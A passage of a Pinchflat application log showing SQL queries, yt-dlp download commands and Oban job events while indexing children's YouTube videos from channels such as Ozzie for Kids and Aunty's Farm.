fun!\n\nSing it for your dad, grandad, stepdad or another awesome father figure in your life and let them know just how much they mean to you.\n\nPerfect for Father’s Day, preschool, kindergarten, classrooms and families looking for a fun song to celebrate Dad!\n\nKids will learn about:\nβ€’ Celebrating dads and father figures\nβ€’ Showing love and appreciation\nβ€’ Families being special in different ways\n\nTopics kids will learn about in this video:\nβ€’ Father’s Day song for kids\nβ€’ I love my dad song\nβ€’ funny dad song for kids\nβ€’ songs about dads for kids\nβ€’ Father’s Day for kids\nβ€’ family songs for kids\nβ€’ Father’s Day song for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#FathersDay #FathersDaySong #ILoveMyDad #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "duration" => 147, "filename" => "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-09-02 - I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie.mp4", "id" => "DNmCbpKM_xY", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=DNmCbpKM_xY", "playlist_index" => 1, "timestamp" => 1788379239, "title" => "I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie", "upload_date" => "20260902"} 13:14:27.400 [debug] QUERY OK source="sources" db=0.3ms idle=49.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [7] 13:14:27.401 [debug] QUERY OK source="sources" db=0.2ms idle=1.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:27.402 [debug] QUERY OK source="media_items" db=1.4ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-09-02 20:00:39Z], 7] 13:14:27.407 [debug] QUERY OK source="media_items" db=3.3ms idle=3.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["πŸ’šπŸŽ΅ Sing along with Ozzie to I Love My Dad, a funny and feel-good Father’s Day song celebrating all the amazing dads and father figures out there!\n\nDads tell bad jokes, do funny dances, fall asleep watching TV and sometimes think they can fix absolutely anything! They can be silly, embarrassing and a little bit weird β€” but that’s exactly why we love them!\n\nGet ready to sing, dance, laugh and celebrate all the little things that make Dad special.\n\n🎡 I love my Dad!\nYes, I do!\nThere’s nobody quite as weird as you!\nI love my Dad!\nHe’s number one!\nHe’s silly, he’s crazy, he’s lots of fun!\n\nSing it for your dad, grandad, stepdad or another awesome father figure in your life and let them know just how much they mean to you.\n\nPerfect for Father’s Day, preschool, kindergarten, classrooms and families looking for a fun song to celebrate Dad!\n\nKids will learn about:\nβ€’ Celebrating dads and father figures\nβ€’ Showing love and appreciation\nβ€’ Families being special in different ways\n\nTopics kids will learn about in this video:\nβ€’ Father’s Day song for kids\nβ€’ I love my dad song\nβ€’ funny dad song for kids\nβ€’ songs about dads for kids\nβ€’ Father’s Day for kids\nβ€’ family songs for kids\nβ€’ Father’s Day song for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#FathersDay #FathersDaySong #ILoveMyDad #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie", "896b8c2c-4fd8-4e9c-90d3-b8198902ad1a", 147, false, "DNmCbpKM_xY", "https://www.youtube.com/watch?v=DNmCbpKM_xY", 1, "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-09-02 - I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie.mp4", false, false, false, 7, [], 99, ~U[2026-09-02 20:00:39Z], ~U[2026-09-03 03:14:27Z], ~U[2026-09-03 03:14:27Z], "πŸ’šπŸŽ΅ Sing along with Ozzie to I Love My Dad, a funny and feel-good Father’s Day song celebrating all the amazing dads and father figures out there!\n\nDads tell bad jokes, do funny dances, fall asleep watching TV and sometimes think they can fix absolutely anything! They can be silly, embarrassing and a little bit weird β€” but that’s exactly why we love them!\n\nGet ready to sing, dance, laugh and celebrate all the little things that make Dad special.\n\n🎡 I love my Dad!\nYes, I do!\nThere’s nobody quite as weird as you!\nI love my Dad!\nHe’s number one!\nHe’s silly, he’s crazy, he’s lots of fun!\n\nSing it for your dad, grandad, stepdad or another awesome father figure in your life and let them know just how much they mean to you.\n\nPerfect for Father’s Day, preschool, kindergarten, classrooms and families looking for a fun song to celebrate Dad!\n\nKids will learn about:\nβ€’ Celebrating dads and father figures\nβ€’ Showing love and appreciation\nβ€’ Families being special in different ways\n\nTopics kids will learn about in this video:\nβ€’ Father’s Day song for kids\nβ€’ I love my dad song\nβ€’ funny dad song for kids\nβ€’ songs about dads for kids\nβ€’ Father’s Day for kids\nβ€’ family songs for kids\nβ€’ Father’s Day song for preschool\n\nGrab some fun Ozzie merch\nhttps://ozzieforkids.com/merch\n\nβ€”\n\nG’day kids, Ozzie here!\n\nI’m an Australian kids’ entertainer creating educational videos for kids designed to entertain, excite, engage and help you learn about the world around you.\n\nIf you love exploring machines, animals, sports, science and how things work, you’re in the right place.\n\nSUBSCRIBE and join the adventure\nhttps://www.youtube.com/channel/UCqP9NRMs8Ndda4tidpAuajQ?sub_confirmation=1\n\nBrand new Ozzie episode every Sunday\nhttps://www.youtube.com/OzzieForKids\n\nβ€”\n\nFollow Ozzie πŸ’šπŸ’›\nStay Keen.\n\nInstagram\nhttps://www.instagram.com/ozzie_forkids\n\nFacebook\nhttps://www.facebook.com/ozzieforkids\n\nβ€”\n\n#FathersDay #FathersDaySong #ILoveMyDad #OzzieForKids #EducationalVideosForKids #StayKeen #KidsSongs #SingAlong #EducationalSongs", "I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie", 147, false, "DNmCbpKM_xY", "https://www.youtube.com/watch?v=DNmCbpKM_xY", "/downloads/shows/OzzieForKids/Season 2026/OzzieForKids - 2026-09-02 - I Love My Dad ❀️ | Fun Father’s Day Song for Kids with Ozzie.mp4", false, 7, ~U[2026-09-02 20:00:39Z]] 13:14:27.407 [debug] QUERY OK source="sources" db=0.3ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:27.408 [debug] QUERY OK source="media_profiles" db=0.2ms idle=7.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:27.408 [debug] QUERY OK source="media_items" db=0.2ms idle=7.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:14:27.408 [info] Kicking off download for media item #14408 (DNmCbpKM_xY) 13:14:27.410 [debug] QUERY OK source="tasks" db=0.2ms idle=2.6ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [2349, 14408, ~U[2026-09-03 03:14:27Z], ~U[2026-09-03 03:14:27Z]] 13:14:27.410 [debug] Current batch of media processed. Will check again in 1000ms 13:14:27.420 [info] {"args":{"id":14408},"id":2349,"meta":{},"system_time":1788405267420439025,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 13:14:27.422 [debug] QUERY OK source="media_items" db=0.7ms queue=0.1ms idle=12.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [14408] 13:14:27.423 [info] User scripts lifecyle file either not present or is empty. Skipping. 13:14:27.424 [debug] QUERY OK source="sources" db=0.6ms queue=0.2ms idle=13.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [7] 13:14:27.425 [debug] QUERY OK source="media_profiles" db=0.5ms queue=0.1ms idle=14.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:27.429 [debug] QUERY OK source="media_items" db=3.1ms idle=15.0ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [14408] 13:14:27.431 [debug] QUERY OK source="media_metadata" db=0.2ms idle=11.0ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [14408] 13:14:27.432 [debug] QUERY OK source="media_profiles" db=0.2ms idle=9.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [3] 13:14:27.432 [debug] QUERY OK source="settings" db=0.1ms idle=8.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:27.432 [debug] QUERY OK source="settings" db=0.1ms idle=7.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:27.433 [debug] Running yt-dlp command for action: get_downloadable_status 13:14:27.434 [debug] QUERY OK source="settings" db=0.1ms idle=5.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:27.434 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:27.434 [debug] QUERY OK source="settings" db=0.0ms idle=2.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 13:14:27.434 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=DNmCbpKM_xY --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/25/57/255786fdcf29198fe64093ae23b736bb19b2321c1c54548d7b0b928dfcf0f934.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 13:14:28.401 [debug] Current batch of media processed. Will check again in 1000ms 13:14:28.412 [debug] Current batch of media processed. Will check again in 1000ms 13:14:29.403 [debug] Current batch of media processed. Will check again in 1000ms 13:14:29.415 [debug] Current batch of media processed. Will check again in 1000ms 13:14:30.410 [debug] Current batch of media processed. Will check again in 1000ms 13:14:30.417 [debug] Current batch of media processed. Will check again in 1000ms 13:14:31.412 [debug] Current batch of media processed. Will check again in 1000ms 13:14:31.419 [debug] Current batch of media processed. Will check again in 1000ms 13:14:32.036 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/@AuntysFarm --simulate --skip-download --ignore-no-formats-error --no-warnings --output /downloads/shows/Auntys Farm/Season %(upload_date>%Y)S/Auntys Farm - %(upload_date>%Y-%m-%d)S - %(title)S.%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --break-on-existing --download-archive /tmp/pinchflat/data/96/c9/96c93cb35a14c85f246990cc07e9f5a89ec3aefcc638c0bb55430ee5005a41e5.txt --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/ff/04/ff048dcb0f9641d1adf60cccb56abd97fb061dd104a039cfe978a33ebc1c2302.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 101 with: 13:14:32.037 [debug] Gracefully stopping file follower 13:14:32.037 [debug] QUERY OK source="sources" db=0.4ms queue=0.1ms idle=672.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [10] 13:14:32.038 [debug] QUERY OK source="sources" db=0.2ms idle=625.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:32.039 [debug] QUERY OK source="media_items" db=0.6ms idle=625.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-27 06:00:09Z], 10] 13:14:32.040 [debug] QUERY OK source="media_items" db=1.0ms idle=626.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Today Aunty is back at Carter’s Farm for another awesome machinery adventure! 🚜πŸ’₯\nCarter shows us all the big gear on his farm and how each machine helps get the jobs done.\n\nIn this episode we check out:\n🚧 Two powerful excavators\nπŸ›  The skid steer\n🌱 The John Deere mower\n🏍 The motorbikes\n\nCarter takes Aunty around the farm, explaining what each machine does and where he uses it. It’s full of big wheels, loud engines and lots of country fun!\n\nPerfect for kids who love tractors, diggers, and anything with wheels!\n\n#AuntysFarm #FarmMachinery #Excavators #SkidSteer #JohnDeere #Motorbikes #FarmAdventure #KidsWhoLoveMachines #CountryKids", "🚜Machinery on Carters Farm🚧", "2ec35b4b-300f-4d51-88dc-c32410cfdc3d", 495, false, "TWYpYNc4os4", "https://www.youtube.com/watch?v=TWYpYNc4os4", 1, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-08-27 - 🚜Machinery on Carters Farm🚧.mp4", false, false, false, 10, [], 98, ~U[2026-08-27 06:00:09Z], ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], "Today Aunty is back at Carter’s Farm for another awesome machinery adventure! 🚜πŸ’₯\nCarter shows us all the big gear on his farm and how each machine helps get the jobs done.\n\nIn this episode we check out:\n🚧 Two powerful excavators\nπŸ›  The skid steer\n🌱 The John Deere mower\n🏍 The motorbikes\n\nCarter takes Aunty around the farm, explaining what each machine does and where he uses it. It’s full of big wheels, loud engines and lots of country fun!\n\nPerfect for kids who love tractors, diggers, and anything with wheels!\n\n#AuntysFarm #FarmMachinery #Excavators #SkidSteer #JohnDeere #Motorbikes #FarmAdventure #KidsWhoLoveMachines #CountryKids", "🚜Machinery on Carters Farm🚧", 495, false, "TWYpYNc4os4", "https://www.youtube.com/watch?v=TWYpYNc4os4", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-08-27 - 🚜Machinery on Carters Farm🚧.mp4", false, 10, ~U[2026-08-27 06:00:09Z]] 13:14:32.041 [debug] QUERY OK source="sources" db=0.3ms idle=627.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:32.041 [debug] QUERY OK source="media_items" db=0.6ms idle=3.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-08-13 06:00:00Z], 10] 13:14:32.043 [debug] QUERY OK source="media_items" db=1.0ms idle=3.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "duration_seconds" = ?, "livestream" = ?, "media_id" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Get ready to sing, dance and move with Aunty in a Big Farm Machines Musical Episode! πŸŽ΅πŸ’ƒ\nThis one is all about the biggest, loudest, coolest machines on the farm β€” and the songs kids love to sing along to!\n\nIn this musical episode we sing about:\n🚜 Tractors\n🚧 Excavators (Diggers)\nπŸ›  Skid Steers\n🚚 Trucks\n\nIt’s full of action moves, fun sounds, and catchy songs that get kids jumping, clapping and pretending to drive big machines right from home!\n\nPerfect for little ones who love vehicles, machines and farm adventures β€” and great for playtime, dance breaks, or car rides too!\n\n#AuntysFarm #KidsMusic #BigMachinesForKids #FarmSongs #TractorsForKids #DiggersForKids #SkidSteer #TruckSongs #SingAndDanceKids", "🚜songs about big farm machines for kidsπŸŽ΅πŸ’ƒ", "a0539604-249f-4b22-b786-635d4ab0275f", 889, false, "OfAtJzYNp2g", "https://www.youtube.com/watch?v=OfAtJzYNp2g", 2, "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-08-13 - 🚜songs about big farm machines for kidsπŸŽ΅πŸ’ƒ.mp4", false, false, false, 10, [], 98, ~U[2026-08-13 06:00:00Z], ~U[2026-09-03 03:14:32Z], ~U[2026-09-03 03:14:32Z], "Get ready to sing, dance and move with Aunty in a Big Farm Machines Musical Episode! πŸŽ΅πŸ’ƒ\nThis one is all about the biggest, loudest, coolest machines on the farm β€” and the songs kids love to sing along to!\n\nIn this musical episode we sing about:\n🚜 Tractors\n🚧 Excavators (Diggers)\nπŸ›  Skid Steers\n🚚 Trucks\n\nIt’s full of action moves, fun sounds, and catchy songs that get kids jumping, clapping and pretending to drive big machines right from home!\n\nPerfect for little ones who love vehicles, machines and farm adventures β€” and great for playtime, dance breaks, or car rides too!\n\n#AuntysFarm #KidsMusic #BigMachinesForKids #FarmSongs #TractorsForKids #DiggersForKids #SkidSteer #TruckSongs #SingAndDanceKids", "🚜songs about big farm machines for kidsπŸŽ΅πŸ’ƒ", 889, false, "OfAtJzYNp2g", "https://www.youtube.com/watch?v=OfAtJzYNp2g", "/downloads/shows/Auntys Farm/Season 2026/Auntys Farm - 2026-08-13 - 🚜songs about big farm machines for kidsπŸŽ΅πŸ’ƒ.mp4", false, 10, ~U[2026-08-13 06:00:00Z]] 13:14:32.044 [debug] QUERY OK source="sources" db=0.3ms idle=4.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 13:14:32.044 [debug] QUERY OK source="media_items" db=0.6ms idle=3.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2026-07-30 06:00:21Z], 10] 13:14:32.048 [debug] QUERY OK source="media_items" db=2.3ms idle=4.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","duration_seconds","livestream","media_id","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES 